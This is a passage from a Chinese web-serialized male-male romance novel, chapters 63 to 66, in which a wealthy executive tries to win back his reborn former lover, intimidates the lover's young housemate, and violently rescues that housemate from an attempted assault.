餐厅只剩下贺琨一人,他走到门边,手放在冰冷的门把手上,停顿了很久。 外面的雨声混合着一种无声的压迫感,透过薄薄的门板传递进来,纪明冉的目光即使隔着一扇门也如芒在背。 最终,贺琨还是拉开了门。 纪明冉依旧保持着那个僵硬的姿势,像一座被雨水冲刷的石雕,头发完全湿透,凌乱地贴在额角和脸颊。 整个人苍白而疲倦,唯独那双眼睛亮得惊人,在贺琨出现的瞬间,骤然爆发出令人心悸的狂喜和专注,男人喉结艰难地滚动了一下,唇间发出一个嘶哑破碎的音节。 贺琨的心像是被那目光狠狠攥了一下,呼吸一窒,纪明冉在唤他的名字。 第63章 第六十三章得寸进尺屋内的暖光从门…… 屋内的暖光从门框中溜出,在地面形成由窄变宽的形状,顺着三层木质阶梯铺洒下来,如同暖金色的地毯。 贺琨就站在那束光下,整个人散着柔和的光,成为无尽黑暗中唯一的亮色。 两人隔着朦胧的雨幕相视,纪明冉不自觉地喃喃出贺琨的名字,似乎要将自己献祭。 “进来吧,只此一晚。” 久久静立的身子已经微微发麻,纪明冉先是僵硬地迈出第一步,随后步子越跨越大,穿过雨幕踏进暖光里,终于走到贺琨的身边。 “谢谢。”纪明冉发自内心地笑起来,看起来有些傻气,不像新闻上的那位冷面精英,“我可以进去吗?” 贺琨半依在门口的墙边,看着门口小心翼翼的男人,正低着头,似乎有些苦恼,看起来在担心身上的雨水将地板弄湿。 什么时候纪明冉也会在意别人的想法了,贺琨不觉得这是殊荣,反而有些毛骨悚然。 即使那么多年后再回首往事,在他眼里冉冉和纪家六爷完全不同,根本无法将这两人联系在一起。 “等等。” 贺琨抬起下颌示意纪明冉将门关上,随后让男人站在原地,自己则是穿着拖鞋晃晃悠悠地走上了二楼。 没几分钟后,他又拿着一套夏日宽松休闲的运动装再次从楼梯上下来,挂在了沙发靠背上,那应该就是给纪明冉洗完澡更换的衣服。 “给你,擦干净再进来,”贺琨又将一块大毛巾丢进了纪明冉的怀中,随后又指了指门口的一次性拖鞋,“记得换鞋。” 棉柔的质感隔着湿透的衣物贴在胸口,带着一丝几不可察的温度,是属于贺琨的体温,纪明冉的身体瞬间不由自主地颤抖了一下,不是因为寒冷。 他站在门口开始擦拭自己,目光却始终跟随着贺琨。 青年先是走进开放式的餐厅内,将瓷碗放进了待洗的水槽中,打开水流将其冲洗干净,又慢慢弯腰将碗放入碗柜中,宽松的家居服跟随着他的动作晃荡,不经意间就会看见宽松领口下微微起伏的柔软胸膛。 纪明冉的喉结轻微滚动,突然有些口渴。 贺琨还在厨房里摆放餐具,总感觉自己似乎被什么粘腻的东西粘住了,可是他才洗完澡,不应该啊。 直到将刚才晓源给他装姜汤的碗冲涮干净后,随后才想起门口还站着一位淋雨淋了好久的人。 他随即抬起头正欲开口询问,没想到却撞进了纪明冉专注的眼神里,贺琨皱了皱眉,有些不解。 “姜汤还有,如果你需要,可以自己热。”贺琨交代完,走到一楼的淋浴间前推开门,“这里可以洗澡,今晚你就睡在沙发上。” 纪明冉看着贺琨的唇开开合合,眼尾带着倦怠的薄红,乌黑的发梢还带着湿气,随意一个动作都像无声的邀请。 他什么都没听进去,心里却升起了更燥的火,还是压了六年的火。 “你听见没有?” 贺琨看着男人一直在走神,虽然是件小事,但与纪明冉沾了关系后,让他变得莫名得不耐烦。 纪明冉迅速回神,“知道,麻烦你了。” 男人十分配合,甚至有些讨好,贺琨反而觉得不对劲,纪明冉这人浑身上下都是心眼子,要不还是让晓源今晚去二楼的次卧休息吧。 贺琨悄悄将视线瞥向纪明冉,结果两人又对视上了,有种说坏话被抓包的心虚感,他不自然地清咳两声,转身去敲客卧的门,柔声问道:“晓源,你还醒着吗?” 纪明冉移开视线,开始快速地环视整个房内的布置,无论是从那个男生居住的房间位置,还是从摆件风格上来看,他猜测贺琨都应该是长期独居,而非两人同居。 但是就在刚才进门时,纪明冉在换鞋的地方却看见了两双风格、脚码都明显不属于贺琨的鞋子,不用想都知道肯定是那位名叫晓源的。 烦就烦在,他得知消息后便第一时间赶来了这个小镇,关于这位辛晓源的信息,肃山那边还没有整理出来,纪明冉不知道他和贺琨之间到底是什么关系。 房子内丝毫属于辛晓源的痕迹,现在都刺眼得让纪明冉不愉到了极致。 “别敲了,”纪明冉察觉自己的口吻有些僵硬,随后又改口道,“或许已经睡着了,这年纪的小孩身体都没发育好,觉多。” 说罢,纪明冉站在客厅里,指尖搭上衬衫的纽扣,将自己湿透的上衣脱去,动作不疾不徐,随着扣子解开,露出块垒分明的胸肌,人鱼线如同刀锋凿刻,连同皮肤下淡青色血管,深深没入低垂的黑色裤腰边缘。 贺琨觉得纪明冉说的也有道理,于是收回半空中手,刚回头就看见纪明冉展露无余的上半身,男人将白色毛巾搭在肩膀上,左手拿着湿透的上衣。 他有些困惑,记得纪明冉以前的性格没那么开放啊,贺琨原本都动摇了,这下却将手机拿出来,决定电话叫醒晓源。 纪明冉磨蹭什么似的,在贺琨面前晃悠,迟迟不肯进入浴室。 可惜贺琨完全没有注意,他只是专注打着电话,直到电话终于被接通,辛晓源的声音软软绵绵的,“琨哥?什么事吗?” “晓源,今晚你来二楼的客卧休息。”贺琨坐到沙发上,窗外还有淅淅沥沥的雨声。 “唔?”辛晓源显然意识都还模糊着,没有听明白贺琨在说什么。 贺琨正打算再次重复,结果手中的手机就被抽走了,都不需要转头看,除了纪明冉,不会有别人了。 “为什么要他去二楼休息,二楼是你休息的地方。” 贺琨没有说话,眼神中戒备已经将原因坦白,他并不在意这会对纪明冉产生什么伤害。 纪明冉眼神微微黯淡,随后小心翼翼开口询问,语气中有些期待,却又不敢期待太多。 “如果你担心他,那我可以去二楼的客卧休息吗?” 不知道是不是自己的让步,使纪明冉有了得寸进尺的想法,贺琨看了看悬挂的时钟,竟然已经闹到了晚上10点多了,他不再多说,只留下一句:“你最好别做什么不该做的事,纪明冉。” 贺琨从僵硬的人手中拿回手机,转身便上了二楼,他和纪明冉早就结束了,明天等男人情绪稳定些,早点把事情说清楚,那么多年躲躲藏藏的,他也有些累了。 可回到房间后,贺琨脚步一顿,没有上床休息,而是走到书架前,将两本白色的笔记本抽出来,已经很多年没有被翻阅过了。 那段时间,贺琨对于重生还是死前的幻想,总是有些分辨不清,他没有告诉任何人,只是提笔将一切记录了下来,告诫自己不要再次重蹈覆辙。 但是幸运的是,这两本笔记本没有用上,只是随着过往被贺琨封藏了起来。 他坐到了沙发上打开笔记,还依稀记得大部分的内容都与纪明冉相关,毕竟那时他心心念念的都是这个人。 19岁到23岁前的故事篇幅很短,占用的页数并不多,直到重生的第三年,也是纪明冉回国的第三年,贺琨的22岁,他刻意而为地制造相遇,只为远远见上纪明冉一面,却没曾想亚弥尼克州机场外高架桥的意外却打乱了一切。 贺琨这才发现,故事的开始不是游轮上迷情的夜晚,而是比这更早的时候,他与纪明冉的命运便再次纠缠在了一起。 在那之后不久,笔记上面的字迹逐渐变得凌乱而痛苦。 那年的冬天,他不仅承受着纪明冉再三的利用,还要在错乱的记忆中挣扎,记忆凌乱时会忘记很多,回到爱得最极致的时刻,待清醒时又会在强烈的自我谴责中产生无尽的恨意。 贺琨似乎通过文字回到了那些虚弱咳喘的夜晚,下一秒就要在窒息中死去。 那时过得真的不算如意,但好在都过去了。他沉重地深吐呼一口气,啪地将笔记本闭合,塞进了更深的深处。 —— 半夜,辛晓源被一阵急促的尿意憋醒了,他睡前喝下了半大碗姜汤,现在就是非常迫切。 客卧里没有独立卫生间,他起身穿好拖鞋,推开了卧室的门。 睡得朦朦胧胧的脑子根本就不清醒,只凭借着本能往记忆中的方向走去,窗帘缝隙漏进一线月色,勉强勾勒出家具模糊的轮廓。 他揉着惺忪的睡眼,伸了一个大大的懒腰,直到路过客厅时侧眼一瞥,脚步猛地钉在原地,心脏在胸腔里骤然失重,狠狠撞向嗓子眼,辛晓源睡意被瞬间蒸发,冷汗沿着脊椎刷地爬满后背。 客厅中央,那张宽大的沙发里,无声无息地坐着一个影子,皮肤在那道幽暗的月色下泛着玉石般毫无生气的冷白光泽,连指甲都修剪得圆润干净,规整到有些非人。 没有呼吸声,没有动作,只有一片令人头皮发麻的静止。 辛晓源僵在原地,血液瞬间冻结,他认得那只手,那个陌生男人就是用这双手将琨哥死死困进了怀里。 可是他怎么会在这里,琨哥明明把他关在了门外了啊! 黑暗中,男人微微侧过头将视线投向辛晓源,带着无声而冰冷的压迫,他想退回房间,可双腿像灌满了铅般沉重,如同被蛇盯住的小白鼠。 第64章 第六十四章荒谬至极纪明冉弯起嘴角…… 纪明冉弯起嘴角,发出了一声意味不明的轻笑,随后起身打开客厅的灯。 他已经换回了自己洗净烘干的衣服,至于贺琨那套就不知道被收去哪里了。 而此时在明亮的灯光下,辛晓源终于看清了这个男人的长相,大脑算是彻底宕机了。 这人分明就是纪氏集团的董事长纪明冉先生啊,他昨天还在网上浏览纪先生的专题演讲,结果时隔一天不到,真人竟然就站在了他面前。 这太魔幻了,辛晓源愣在原地不知道怎么办才好,他根本无法将昨晚那个变态和温雅得体的纪先生联系起来。 “辛—晓—源。”低沉悦耳的嗓音将他的名字逐字吐出,尾音微微上扬,那人似乎有些苦恼地压了压眉心。 被点名的辛晓源心口再次一跳,男人强烈的压迫感袭来,吓得他开始想自己到底要不要主动问好,但辛晓源又感觉纪先生叫他,并不是出于友好的打招呼,而是单纯地将他的名字念出来而已。 不过,现在他更纠结的是,这个人看起来真的很坏啊,对待琨哥的方式就像什么变态疯子。 “你要做什么?我告诉你,你这是私闯民宅!” 纪明冉不甚在意,反而自然地走到餐桌前,端起玻璃水壶,为辛晓源倒了一杯温水,和善地笑笑道:“别紧张,是阿琨邀请我进来的,喝杯水吧。” 辛晓源不敢上前,往后缩得几乎要将自己嵌进墙内。 纪明冉也不急,端着两杯温水回到客厅,将其中一杯放在了沙发前的桌上,然后端起手中的那杯轻喝了一口,“你不是要去卫生间吗?” 不提还好,提起来后辛晓源觉得那迫切感又涌上来了,他像逃跑般钻进了卫生间内,刚拿出手机想给琨哥打电话,却发现页面显示,昨晚多出了条通话记录。 模糊的回忆瞬间浮现又消失,辛晓源靠着墙壁有些苦恼,好像纪明冉真的是琨哥邀请进来的,不然沙发上也不可能凭空多出条原本在二楼的毯子。 辛晓源深呼吸了几下,终于下定决心将门拉开,佯装镇定地进入了客厅,坐在纪明冉的对面,天知道这对于十分害怕冲突的他来说是多么大的突破。 “纪,纪先生,请问你和琨哥是什么关系,昨晚为什么要做那么过分的事,你这样的行为是涉嫌犯罪的。”辛晓源拿出了最硬气的态度。 前半夜肃山已经将此人的信息汇给了纪明冉,不用想也知道,以辛晓源过往的经历,定会将贺琨看得无比重要吧。 想到这纪明冉心里就止不住地嫉妒,但他还是温和道:“别紧张,你的声音在发抖。” 明明是被质问的人,却反而安慰起了质问者,看似友好,实则毫不遮掩地将辛晓源的脆弱戳破。 果然,下一秒辛晓源细碎的小动作变得多起来,可见更加慌张了。 纪明冉安静的坐着,等待着空气变得凝固甚至窒息,辛晓源开始退却时,他又缓缓开口:“我和贺琨自然是伴侣关系。” 辛晓源先是愣住,眼神飘移,脸色也变得不大好,“‘贺琨’,我还以为只是巧合的重名。” “他就是贺氏集团的二少爷,也是我的爱人,自然集万千宠爱于一身,”纪明冉缓缓环视这栋房子,“这可能就是阿琨住过最差劲的地方了。” 可这却是辛晓源住过的最好最好的房子,男生眸中最后那抹神采,在纪明冉话音结束后几近破碎,转而被浓烈的自卑自厌而掩盖。 纪明冉漫不经心地收回视线,满是胜券在握的悠然模样,他没有再开口说话,客厅内又恢复寂静。 突然,辛晓源的双眸不知为何突然间就盛满了愤怒,如同被激怒的小兽,他有眼睛能看能观察,还有自己的坚持和想法,他也想保护贺琨。 “可是,琨哥不喜欢你!” 贺琨今晚本身就睡得不沉,隐约听见楼下的交谈声,不放心地打算下楼看看,他没有听清辛晓源暗吼的内容,只是感觉晓源的情绪不太稳定。 “纪明冉,你对晓源做了什么。” 主动发起冲突的人绝对不可能是辛晓源,贺琨连忙上前,以保护的姿态将人拉到自己身后,皱着眉看向沙发上的人。 冰冷的质问,连同护住辛晓源的动作,如同利刃猝不及防地刺进纪明冉心底最深的地方,将血肉翻搅得鲜血淋漓。 他看着这眼熟的一幕,微微坐直身子,方才的悠然早已消失殆尽。 曾几何时贺琨也是这样坚定地站在他身前,为他挡住纪焯的恶意,怎么现在对立面的人成了自己呢。 “我什么都没做。”纪明冉的声音很轻,唯有面对贺琨时才会充满示弱。 辛晓源拽了拽贺琨的衣角,摇摇头道:“琨哥,我没事。” 晓源继续住在这里恐怕不安全了,贺琨很快嘱咐道:“晓源,先回房间休息吧,还有明天记得快去找房子。” 辛晓源本身就很乖,点点头转身离开。 可能因为对贺琨有种不自觉的依赖,尤其听贺琨的话,有时会乖到令人心疼的地步,贺琨也多次尝试纠正,但是这些性格习惯并非朝夕可改。 客卧的房间门被再次关闭了,贺琨收回视线,客厅再次只剩两人,他缓缓走到了纪明冉身旁坐下,却不知道怎么开口,似无力般仰头靠在沙发上,半眯着眼睛看着天花板上的灯。 纪明冉也罕见地沉默着,十指交叠放在腿的上方,视线向下落于虚空之处。 两人间隔不过一人的距离,可心却早已隔上十万八千里。 “贺琨,我们还可以和好吗?” “不可以。” 纪明冉眸光微颤,眼底的黑更加破碎,他转头看向贺琨,“我们说好等你26岁就结婚的,可已经过去4年了。” “纪明冉,我没法爱你了,也没有力气爱任何人了,如果只是占有欲作祟,你大可放心。”贺琨扬起淡淡的笑容,认真看向纪明冉眼底,这就是真心话。 纪明冉错愕到不知作何反应。 整整六年,他没有哪夜可以安睡到天亮,梦里要么是贺琨决绝离开的背影,以及那荒凉的眼神,要么是贺琨在冰冷的海水中渐渐窒息。 而纪明冉却永远都无法动弹,如同被钉子钉在原地,一遍一遍地看着贺琨离开消失。 也就是这六年,他掘地三尺,几乎把大陆翻了个遍,就为了找到贺琨,就为了确认贺琨还活着,可是青年最后竟只是淡淡地笑着说“如果只是占有欲作祟,你大可放心”。 纪明冉最爱贺琨的时候,贺琨却不爱了,这就是天底下最荒谬的笑话。 他最后挣扎着抬手,满含缱绻地托起贺琨半边脸颊,情不自禁地靠近,喘息之间视线缓缓下移,仅停留半秒,又回到那双困住他很久的眸。 贺琨偏头远离,口中道:“纪明冉,恶心。” 毫不掩饰的厌恶彻底粉碎了纪明冉,所有浓烈的爱恨情仇化为消散不去的哀愁,如寒凉缠绵的秋雨,将永远侵蚀着他的骨血。 “对不起,对不起…关于你哥哥的事、那场直播,还有那些——” 纪明冉的声音低沉痛苦,做着最后的挽留。 贺琨却直接将其打断了,他早就同过往和解了,否则怎么会有今天的贺琨,纪明冉的道歉来得太迟了。 “我知道,没关系,我知道,都已经过去了。” 纪明冉也不知道还能说什么,他慢慢站起来,强撑出半个得体的笑容,“叨扰了。” 贺琨摇摇头表示没关系,像送普通客人般送走了纪明冉。 引擎启动的声音在小镇静谧的夜晚格外突兀,车灯短暂地照亮了雨后的草地,随即调转方向渐行渐远,直至消失在夜色里。 世界重新沉入黑暗与平和。 贺琨站在门边,手还搭在冰冷的门把手上,雨后的夜风吹过时竟然有些冷,左侧脸颊还残存纪明冉触碰过的温度,这时门外的风再次卷来,带着寒意扑在他脸上,将最后的余温也吹散了。 “琨哥?”辛晓源怯怯的声音从身后传来,带着小心翼翼的惊惶,他只穿着单薄的睡衣,抱着手臂,脸色略显苍白,“他…他走了吗?” 贺琨猛地回过神,搭在门把上的手指微微蜷缩了一下,缓缓地将沉重的门向内拉拢。 “砰。” 一声闷响,似乎将所有隔绝斩断,纪明冉应当听明白他的意思了吧。 贺琨转过身,灯光重新落在他脸上,照亮那紧抿的薄唇以及放松后浮现的疲惫。他抬手用指腹揉了揉眉心,声音有些沙哑,像在陈述一个与己无关的事实,“嗯,走了。” 贺琨答完,目光扫过辛晓源满是担忧的脸,落到客厅中央那张宽大空荡的沙发上,还有一条尚未来得及叠好的毯子。 辛晓源顺着他的目光看向沙发,又飞快地收回视线,嘴唇动了动,最终小声道:“琨哥,你…你还好吗?你快去休息会吧,我来收拾。” 他体贴地不去问刚才到底发生了什么,只是快速走到客厅里开始清理。 贺琨扯了扯嘴角,露出一个安抚性的笑容,“没事,先休息,明天收拾也不迟,今晚真是太闹腾了。” 话毕,他不再看辛晓源,也不再看客厅,径直往楼上走,看起来很困的模样。 辛晓源看着贺琨消失楼梯口的侧影,确实和平时没什么两样,可又总有些古怪。 他欲言又止,心里知道琨哥不想说,只能抱着胳膊,在楼梯口又站了一会儿,听道贺琨卧室门被关闭后,才最终垂下头,带着满腹的担忧轻手轻脚地回到自己的房间。 第65章 第六十五章迂回战术贺琨第二日醒来…… 贺琨第二日醒来时,辛晓源便已经出门了,客卧的被子铺得很整齐,窗帘也打开了,雨后清晨的空气漫进屋内,格外清幽。 他走到冰箱前准备做份简单的早餐,却意外发现了一张小便签——琨哥,我今天去市区转转,给你留的早餐在橱柜里~ 贺琨都能想像出辛晓源写标签时会是什么表情,他取下纸条,打开橱柜,果然有一份带着余温的培根煎蛋。 又为自己倒了杯鲜牛奶后,贺琨便端着餐盘走到了餐桌前,边吃早餐便浏览着近日的快讯。 生活似乎恢复了往日的平静,可直觉告诉贺琨事情还未结束。 不过,不管怎样纪明冉确实远远地离开了,他心里期望着昨夜种种最好成为一场梦,随着夜里的雨水一道蒸发消逝吧。 与此同时,辛晓源从街边的某家公司走出来,面上带着浅浅的忧愁,他前几日便在网上大量投递与自己专业相关的短期实习,因为面试表现不佳,现在刚被这个公司拒绝了。 辛晓源看着简历发呆,他真的很不擅长表达自己,这可怎么办才好。 突然,一个电话打断了思绪,看着显示屏中的名字,他抿了抿嘴角,犹豫地接起电话:“学弟,请问有什么事情吗?” “辛学长,你现在能来学校吗?实验室,有一个数据出错了,教授说只有你那里才有原始数据,我和几位都学弟学妹等你过来啊,快点啊,再见!” 电话对面劈里啪啦地讲了一通,随后又很快地将电话挂断了。 辛晓源有些困惑,又有些迟疑,可是学弟既然已经说是教授的告诉他们的,那他还是过去一趟看看吧。 进入学校后,辛晓源朝着他们专业的教学片区走去,虽然是暑假,但是校园内还是可以见到不少留校的学生,他顺着树荫走到实验大楼门前,直接往熟悉的实验室走去。 进入实验楼内,学生就比较少了,空荡的走廊里回荡着各类仪器的声音,外面艳阳高照,里面却有种说不出怪异的静谧。 他缓缓走着掏出口袋中的储存器,正打算抬手敲实验室的门,却突然被拦住腰身截进了楼层的洗手间内。 辛晓源肋骨被勒得生痛,他强忍痛意抬头看向将他掳进来的男生,分明就是刚才给他打电话的学弟。 “对不住了,辛学长,是你太好骗了,你明明可以不来的,对不起,对不起” 学弟满脸歉意,嘴里一直重复道歉,可言辞中还在为自己不当的行为找补。 辛晓源警惕地环视着周围,趁着身前的人在弯腰鞠躬,连忙垂着头就往外跑。 可刚到门口时就撞到了一个坚硬的胸膛上,他捂住脑袋抬头看去,来人竟然就是他的前男友。 “源源,这是急着去哪?额头都撞痛了吧,来,我给你吹吹。” 为首那位长得还算看得过眼的高个男生一把将辛晓源按进怀里,手背从辛晓源的额头滑倒了下巴,动作间油腻得不行。 “放开我!赵天穹!”辛晓源气得脸都涨红了,疯狂地抓挠着前男友裸露出来的肌肤。 赵天穹被挠出一条鲜红的血迹,皱着眉倒抽了半口凉气道:“我警告你,别给脸不要脸,被大人物看上那是你的福气,又不是让你去卖,睡一晚怎么了?” 辛晓源气得手都在发抖,他无助地往后退,眼泪在眼眶内直打转,“你疯了,我会报警的。” 赵天穹嘴角扬起一抹嗤笑,似乎听见了什么可笑的说法,他转了转脖子,笑起来看着辛晓源,对身后的两个跟班道:“扒光了,拍照。” 辛晓源不断后退,最后绝望地闭上了双眼,热泪直接顺着脸颊滑落,他滑坐在角落里无助地呼唤着,期待有人来救救他,可是等来的只有被按住的身体,以及被解开到一半的衣扣。 就在这时,门口传来了不徐不急的脚步声,赵天穹意识到不对劲,先歪出身子查看,结果直接被来人踹爬到墙根下跪着,捂住胸口半晌说不出句话来。 两个凶神恶煞的跟班见状,先是互相对视了一眼,然后连忙跑过去将赵天穹扶起来。 “几位小朋友啊,霸凌同学不可取。”纪明冉认真劝解着,神态优雅迷人。 赵天穹本来是打算直接叫两个跟班将人往死里打,今天必须出了这口恶气,不然以后他赵天穹还混不混啊! 可是当抬起头来看见来人的长相气质后,原本愤怒的神*情瞬间变得痴迷,几乎含不住口中的口水,胸口都忽然不怎么痛了。 他拦住跟班,往前走了两步:“不好意思,不好意思,我们怎么会霸凌同学呢,都是误会,是吧?” 赵天穹拐了拐左右两边的人的胸口,两跟班立马得配合点头:“是是是,都是不存在的事。” 纪明冉笑起来问道:“是吗?” “是啊,这位同学,”赵天穹打开手机看了一眼时间,眼神灼热到令人不适,似乎要将纪明冉的衣物都给剥去,“你看,这都到吃饭时间了,不如我请你吃饭吧,” “嗯那你还是去死吧。”纪明冉音调平和轻缓,如同只是在讨论今天的天气如何。 最后一个音节落下时,那双深邃的眼睛,终于从虚空中收回,平静无波地投向赵天穹。 没有杀意,没有愤怒,只有一片深不见底且令人身心发寒的漠然。 赵天穹脸上那副痴迷猥琐的笑容瞬间冻僵,身体下意识地后退了半步,撞在身后一个跟班身上,“你…你说什么啊?!” 纪明冉没再说话,甚至没有多余的动作,只是向前走了一步,动作随意得像是在自家花园里散步。 但就是这一步,空气骤然充满无形压迫感。 “不不是,”赵天穹彻底慌了,尽管唇色苍白,他依旧强撑着体面,语无伦次道,“你不想吃就不吃,我可不是你惹得起的,我警告你,别乱来——” 他的话戛然而止。 因为男人已经站在了他面前。 纪明冉微微垂眸,目光落在赵天穹那张因恐惧而扭曲的脸上,“你应该庆幸,没有招惹到我的人,”他嘴角似乎极其细微地向上牵动了一下,满是厌恶讥讽,转瞬即逝,“肃江,处理一下。” 纪明冉话音刚落,从角落里走出来个黑衣人,直接将目光锁定在那三人身上,冷漠得如同看着将死之人。 纪明冉转身走进洗手间内,看了一眼地上可怜兮兮的男生,衣服已经拉好了,只是蜷缩成一团,应激似地蹲在角落。 门外传来**与硬物**撞的声音,偶尔还有骨头断裂的脆响,以及不绝于耳的惨叫声。 辛晓源的学弟还没有意识到发生了什么,依旧痴傻地站在墙边,结果撞上纪明冉的眼神时,彻底被吓跑了。 “辛晓源,又见面了。” 听见自己的名字被一道很耳熟的声音呼唤,辛晓源缓缓抬起头,半晌才迷惑道:“纪明冉先生?” 纪明冉淡淡瞥了一眼狼狈的男生道,“站起来。” 辛晓源还没反应过来,身体便先按照指令站起来了,似乎纪先生这样的人天生便令人臣服畏惧。 此时,左脚被卸下的赵天穹被拖了进来,肃江出手向来利落干净,赵天穹双手已经被捆起来,整个人完全失去了行动力,他将人按在冰冷的小便池后的墙壁上,等待着纪先生的吩咐。 “辛晓源,人就在这,任由处置,”纪明冉下颌微扬,“这口气随你出,无论什么结果,我都可以帮你兜底。” 辛晓源看向赵天穹,眼中划过沉重的恨意,又夹杂着几分难掩的怯懦,他转而看向纪明冉沙哑问道:“为什么帮我?” 纪明冉没有回答,只是转身离开,“请随意。” 肃江与纪先生对视了一眼,随后从大腿外侧的口袋中拿出一把军刀,递到辛晓源手中,随之离去。 晚霞渐渐布满天空,纪明冉站在实验楼顶层的露台上,指间夹着香烟,看着远处不知道在思考什么,也或许只是在单纯的放空。 肃江推开玻璃门,站到纪明冉身后低头道:“先生,辛晓源站了一个小时八分钟后,先是将赵天穹的衣服裤子都扒了,拍了些照片,拿着军刀各种言语恐吓赵天穹,最后把赵天穹的头发全剃了,”说到着肃江也觉得有些迷惑,但是他还是继续道,“现在赵天穹已经昏迷过去了,辛晓源刚离开实验楼。” 纪明冉面上没有什么表情,也并未对辛晓源的举动表现出满意或不悦,他只是将默默烟头掐灭,又把打火机放进了口袋中。 “好,这件事你派人处理了,不管以什么方式,以后这个人不要再出现了。” “好的,先生。”肃江尊敬地目送纪先生离开。 辛晓源疯狂地往外跑,刚开始他是害怕的,可是晚风簌簌地扑在他脸上,将冷汗和泪水全都吹干了,似乎很多心中的枷锁也随之消散,他慢慢停下来,大口喘着粗气,不知不觉中已经扬起了为不可察的笑容。 “上车,辛晓源。”纪明冉锁定住道路一侧的身影,将车缓缓停在情绪激动的男生身旁,“我想请你吃晚餐,可以吗?” 辛晓源知道今天遇见纪明冉的事情过于巧合,这次他没有逃避,而是拉开车门,坐进了车内。 “纪明冉先生,你今天为什么会出现?”他通过后视镜,仔细观察着纪明冉的表情。 “我在找你,听说你回学校了,我便跟来了。” “你找我,有什么事情吗?但先说好,对琨哥不利的事情我是绝对不会做的。” “正好,我也是,”纪明冉扬起笑容,极有亲和力,像一位正义人士,“我只是想了解了解,阿琨这几年的经历。” 纪明冉压住心里的酸意,装出一副好好先生的模样,毫无愧疚地哄骗着无知的辛晓源,以便达到自己的目的。 第66章 第六十六章得知真相安静的餐厅中,…… 安静的餐厅中,辛晓源依旧有些戒备,他狐疑又小心地看了看对面神色平静的纪明冉,在对方抬眸之际,赶忙低头切割盘中的牛排。 纪明冉不动神色,直到辛晓源开始坐立不安时,才缓缓开口道:“别担心,我没有恶意,不然刚才怎么会帮你呢?” “谢谢纪先生。” 辛晓源看了看温和的纪明冉,似乎真的没有什么恶意。 道谢之后,他一言不发地坐在位置上,也没有开口的打算,试图降低自己的存在感。 纪明冉忖了忖,怀缅地说起往事,“贺琨19岁的时候,我与他一见钟情,很快便确定了关系。” 对于喜欢之人的过往,辛晓源很难不去好奇,他被纪明冉的话题捕获,于是顺着问道:“既然那么相爱,你和琨哥为什么分开呢?” “他那时很爱玩,我想等他长大,却没等到。” 辛晓源想起琨哥曾经给他说过的那些话,神色黯淡了些许,两人的羁绊似乎比他想象中的,还要深刻上更多。 他扒拉着着盘中的食物,悄悄看了看纪明冉,精致的容貌比他见过的影幕上的明星还要好看千万倍,气质成熟温和,又是那么那么有才华,自己拿什么比呢。 “那为什么琨哥现在会讨,嗯,就是不喜欢你了呢?” 纪明冉的动作微微滞涩,他轻轻皱了皱眉,语气中满是自嘲,却说得很含糊,“我那时想要得太多,做了很多不好的事,他不想原谅我了。” 辛晓源按照自己猜测的方向发散思维,不知为何反倒松了口气,以纪明冉先生的成就,放在私人感情生活上的时间一定会很少吧。 再好的感情也是需要时间维系的,正是因为纪先生太专注于事业了,才会忽略了琨哥,所以他们两个人后来渐行渐远。 但是他就不同,他只是一个普通而平凡的人,辛晓源可以将生活的中心都投放在琨哥身上,如果他们在一起了,就会很幸福。 “卢卡叔叔说过,琨哥刚到小镇的时候状态很差,想必就是因为你吧,或许纪先生更在意的是自己的事业” 纪明冉眸光微闪,脑海中闪过一些片段,包括六年前吴云旗闯入的质问,“状态很差?” 辛晓源果然有些迷惑地歪了歪脑袋,“纪先生不知道吗?” 他端起酒杯微尝了半口,仿佛在斟酌词句,过了会才看着纪明冉先生小心翼翼道:“听卢卡叔叔说过,琨哥搬进小镇的前一年几乎足不出户,有时在院子里痴坐,一坐便是一天,垃圾桶中还总是有药物空盒。” 辛晓源顿了顿,似乎觉得接下来的话有些沉重,声音不自觉地放得更轻,“那时镇上的人都觉得,琨哥找来这个小镇定居,是想安静地,嗯,等待死亡。” 等待死亡? 餐盘里精心摆放的食物在视野里扭曲模糊,餐厅里悠扬的背景音乐,以及餐具的轻微碰撞声……都像隔着厚重的雾,变得遥远而不真切。 纪明冉握住刀叉的指尖微微颤抖,是跨越时间而来的,深深的惧怕,是对差点失去贺琨的绝望。 他想起婚礼前夕贺琨在病中日渐消瘦的身形,还有那双明亮的眼变得如枯井般疲惫荒芜。 想起重逢时,青年冰冷的态度,以及推开自己时,带着生理性厌恶的神情。 想起贺琨最后那句平静的“我没法爱你了,也没有力气爱任何人了”。 所有细节在这一刻,由于辛晓源轻飘飘的几句话打开了更残酷的视角。 而他那时在做什么?在办公室里签署一份份冰冷的决策,在某个觥筹交错的场合,扮演着呼风唤雨的纪氏掌舵人。 纪明冉的背脊依旧挺直,如同完美的仪态教科书,他只是极其缓慢地将手中的刀叉放下,动作轻得没有发出一丝声响。 只有坐在对面的辛晓源,在无意间抬眼的刹那,捕捉到了纪明冉眼底一闪而过的寒光。 死寂之下是无尽的悔恨与后怕,那眼神太过浓烈,让辛晓源心头猛地一跳,下意识地避开了视线。 “后来呢?”纪明冉终于开口,沙哑的声音中带着不易察觉的颤抖。 那双深邃的眼眸,死死锁住辛晓源,不再是上位者的审视,而是迫切的探寻。 辛晓源被他看得有些发毛,握着酒杯的手指紧了紧,迟疑了一下,努力回忆卢卡叔叔模糊的描述。 “好像…好像是卢卡叔叔照顾了琨哥一段时间,才慢慢恢复了?而且,还记得有一次,我问过琨哥那么喜欢机车,为什么不尝试着成为一名职业赛手,他给我说,是因为您不喜欢那些。” 他声音越来越小,似乎终于意识到自己透露的信息,对眼前这位叱咤风云男人造成了难以言喻的打击。 不喜欢不喜欢? 纪明冉还记得贺琨很年轻的时候就拿下了国际赛事冠军,他也曾困惑,为什么贺琨这一世反而选择了建筑设计相关的职业。 在琐碎却明显的信息中,那些真相反而更加呼之欲出。 纪明冉记得贺琨曾经说过,在他车祸过世后,没有坚持太久便离世了,贺琨重生在19岁那年,醒来第一件事就是去找他。 也就说明在纪明冉死后,贺琨随之殉情了,在他重生的第四年,贺琨便也重生了。 贺琨之所以能直接指出自己需要使用的药物,并让发小吴云旗为他寻药,正是因为贺琨之前就服用过这类药物。 猛然间,纪明冉再次痛苦地想到,他刚回国那年,正是贺琨的19岁,纪家那场迎接他回国的盛宴上,曾有位青年在阳台上向他搭讪。 那本应消散在记忆中的轮廓,在此刻竟也慢慢清晰起来,原来真的就是贺琨,原来那时他们就见面了。 因为没有按照第一世的既定的命运,踏上那艘与贺琨相遇的游轮,那天纪明冉并不开心。 宴会之上,心里装着事的他喝得意外多,本想走到阳台上安静地站会,可是令他心心念念,又让他烦躁不已的人却突兀地出现了。 